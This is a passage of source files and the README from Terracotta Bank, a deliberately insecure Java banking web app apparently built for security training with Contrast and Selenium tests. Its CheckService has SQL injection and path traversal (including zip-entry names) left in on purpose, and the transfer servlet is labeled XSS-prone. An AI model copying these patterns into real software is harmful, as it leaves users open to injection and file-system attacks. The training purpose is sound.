using 35 | * bind variables. 36 | * 37 | * This class also makes the site vulnerable to Directory 38 | * Traversal attacks because it concatenates user input to 39 | * compose file system paths. 40 | * 41 | * @author Josh Cummings 42 | */ 43 | @Service 44 | public class CheckService extends ServiceSupport { 45 | private static final String CHECK_IMAGE_LOCATION = "images/checks"; 46 | static { 47 | new File(CHECK_IMAGE_LOCATION).mkdirs(); 48 | } 49 | 50 | public void addCheck(Check check) { 51 | runUpdate("INSERT INTO checks (id, number, amount, account_id)" 52 | + " VALUES ('" + check.getId() + "','" + check.getNumber() + 53 | "','" + check.getAmount() + "','" + check.getAccountId() + "')"); 54 | } 55 | 56 | public void updateCheckImagesBulk(String checkNumber, InputStream is) { 57 | try (ZipInputStream zis = new ZipInputStream(is)) { 58 | ZipEntry ze; 59 | while ( (ze = zis.getNextEntry()) != null ) { 60 | try { 61 | updateCheckImage(checkNumber + "/" + ze.getName(), zis); 62 | } catch ( Exception e ) { 63 | e.printStackTrace(); // try to upload the other ones 64 | } 65 | } 66 | } catch (IOException e) { 67 | throw new IllegalArgumentException(e); 68 | } 69 | } 70 | 71 | public void updateCheckImage(String checkNumber, InputStream is) { 72 | try { 73 | String location = new URI(CHECK_IMAGE_LOCATION + "/" + checkNumber).normalize().toString(); 74 | try ( FileOutputStream fos = new FileOutputStream(location) ) { 75 | byte[] b = new byte[1024]; 76 | int read; 77 | while ( ( read = is.read(b) ) != -1 ) { 78 | fos.write(b, 0, read); 79 | } 80 | } catch ( IOException e ) { 81 | throw new IllegalArgumentException(e); 82 | } 83 | } catch ( URISyntaxException e ) { 84 | throw new IllegalArgumentException(e); 85 | } 86 | } 87 | 88 | public void findCheckImage(String checkNumber, OutputStream os) { 89 | try ( FileInputStream fis = new FileInputStream(CHECK_IMAGE_LOCATION + "/" + checkNumber) ) { 90 | byte[] b = new byte[1024]; 91 | int read; 92 | while ( ( read = fis.read(b) ) != -1 ) { 93 | os.write(b, 0, read); 94 | } 95 | } catch ( IOException e ) { 96 | throw new IllegalArgumentException(e); 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/TransferMoneyServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import java.io.IOException; 19 | import java.math.BigDecimal; 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | import java.util.Optional; 23 | import java.util.function.Function; 24 | 25 | import javax.servlet.ServletException; 26 | import javax.servlet.http.HttpServlet; 27 | import javax.servlet.http.HttpServletRequest; 28 | import javax.servlet.http.HttpServletResponse; 29 | 30 | import com.joshcummings.codeplay.terracotta.model.Account; 31 | import com.joshcummings.codeplay.terracotta.model.User; 32 | import com.joshcummings.codeplay.terracotta.service.AccountService; 33 | 34 | /** 35 | * This class makes Terracotta Bank vulnerable to Cross-site Scripting 36 | * by not validating and encoding its various fields. 37 | * 38 | * @author Josh Cummings 39 | */ 40 | //@WebServlet("/transferMoney") 41 | public class TransferMoneyServlet extends HttpServlet { 42 | private static final long serialVersionUID = 1L; 43 | 44 | private AccountService accountService; 45 | 46 | public TransferMoneyServlet(AccountService accountService) { 47 | this.accountService = accountService; 48 | } 49 | 50 | protected void doPost( 51 | HttpServletRequest request, 52 | HttpServletResponse response) throws ServletException, IOException { 53 | 54 | User user = (User)request.getAttribute("authenticatedUser"); 55 | 56 | List errors = new ArrayList<>(); 57 | 58 | Function accountParser = (possibleInteger) -> { 59 | if ( possibleInteger != null ) { 60 | Integer accountNumber = tryParse(possibleInteger, Integer::parseInt, errors).get(); 61 | return this.accountService.findByAccountNumber(accountNumber); 62 | } else { 63 | return this.accountService.findDefaultAccountForUser(user); 64 | } 65 | }; 66 | 67 | Optional from = tryParse(request.getParameter("fromAccountNumber"), accountParser, errors); 68 | Optional to = tryParse(request.getParameter("toAccountNumber"), accountParser, errors); 69 | Optional transferAmount = tryParse(request.getParameter("transferAmount"), BigDecimal::new, errors); 70 | 71 | if ( errors.isEmpty() ) { 72 | Account acct = this.accountService.transferMoney(from.get(), to.get(), transferAmount.get()); 73 | request.setAttribute("account", acct); 74 | request.getRequestDispatcher("/WEB-INF/json/account.jsp").forward(request, response); 75 | } else { 76 | response.setStatus(400); 77 | request.setAttribute("message", errors.stream().findFirst().get()); 78 | request.getRequestDispatcher("/WEB-INF/json/error.jsp").forward(request, response); 79 | } 80 | } 81 | 82 | private Optional tryParse( 83 | String possibleInteger, 84 | Function parser, 85 | List errors) { 86 | 87 | try { 88 | return Optional.of(parser.apply(possibleInteger)); 89 | } catch ( Exception e ) { 90 | errors.add(possibleInteger + " is invalid"); 91 | return Optional.empty(); 92 | } 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Terracotta Bank: A deliberately insecure Java web application 2 | 3 | This sample application is based on https://github.com/terracotta-bank/terracotta-bank 4 | 5 | **Warning**: The computer running this application will be vulnerable to attacks, please take appropriate precautions. 6 | 7 | ## System Requirements 8 | 9 | - Java 8 or higher (tested with Java 8) 10 | - Gradle 8.12.1 or higher (included via wrapper) 11 | - Spring Boot 2.7.18 12 | 13 | # Running standalone 14 | 15 | You can run Terracotta Bank locally on any machine with Java installed. 16 | 17 | 1. Place a `contrast_security.yaml` file into the application's root folder. 18 | 2. Place a `contrast.jar` into the application's root folder. 19 | 3. Run the application using `./gradlew bootRun` 20 | 4. Browse the application at http://localhost:8080/ 21 | 22 | # Running in Docker 23 | 24 | You can run Terracotta Bank within a Docker container. 25 | 26 | 1. Place a `contrast_security.yaml` file into the application's root folder. 27 | 2. Build the Terracotta Bank container image using `./1-Build-Docker-Image.sh`. The Contrast agent is added automatically during the Docker build process. 28 | 3. Run the container using: 29 | ```bash 30 | docker run -v $PWD/contrast_security.yaml:/etc/contrast/java/contrast_security.yaml -p 8080:8080 terracotta-bank:1.0 31 | ``` 32 | 4. Browse the application at http://localhost:8080/ 33 | 34 | # Running in Azure (Azure Container Instance): 35 | 36 | ## Pre-Requisites 37 | 38 | 1. Place a `contrast_security.yaml` file into the application's root folder. 39 | 2. Install Terraform from here: https://www.terraform.io/downloads.html 40 | 3. Install PyYAML using `pip install PyYAML` 41 | 4. Install the Azure cli tools using `brew update && brew install azure-cli` 42 | 5. Log into Azure to make sure you cache your credentials using `az login` 43 | 6. Edit the [variables.tf](variables.tf) file (or add a terraform.tfvars) to add your initials, preferred Azure location, app name, server name and environment. 44 | 7. Run `terraform init` to download the required plugins. 45 | 8. Run `terraform plan` and check the output for errors. 46 | 9. Run `terraform apply` to build the infrastructure that you need in Azure, this will output the web address for the application. 47 | 10. Run `terraform destroy` when you would like to stop the app service and release the resources. 48 | 49 | # Running automated tests 50 | 51 | There are a number of Selenium tests which you can use to reveal vulnerabilities. 52 | 53 | 1. Place a `contrast_security.yaml` file into the application's root folder. 54 | 2. Place a `contrast.jar` into the application's root folder. 55 | 3. Ensure you have the Firefox browser installed. 56 | 4. Run the tests using `./gradlew cleanTest test` 57 | 58 | Note: Tests have been updated to work with Selenium 4.3.0. 59 | 60 | # Running automated tests in Docker 61 | 62 | There are a number of Selenium tests which you can use to reveal vulnerabilities in a Docker container. 63 | 64 | 1. Place a `contrast_security.yaml` file into the application's root folder. 65 | 2. Build the Docker container using `docker build . -f Dockerfile.test -t terracotta-test` 66 | 3. Run the container using: 67 | ```bash 68 | docker run -v $PWD/contrast_security.yaml:/etc/contrast/java/contrast_security.yaml terracotta-test:latest 69 | ``` 70 | 71 | ## Updating the Docker Image 72 | 73 | You can re-build the docker image (used by Terraform) by running two scripts in order: 74 | 75 | * 1-Build-Docker-Image.sh 76 | * 2-Deploy-Docker-Image-To-Docker-Hub.sh 77 | 78 | ## Framework Updates 79 | 80 | This application has been upgraded to use: 81 | - Spring Boot 2.7.18 (from 1.5.1) 82 | - Gradle 8.12.1 83 | - Selenium 4.3.0 84 | - Updated dependencies for enhanced security and performance 85 | --------------------------------------------------------------------------------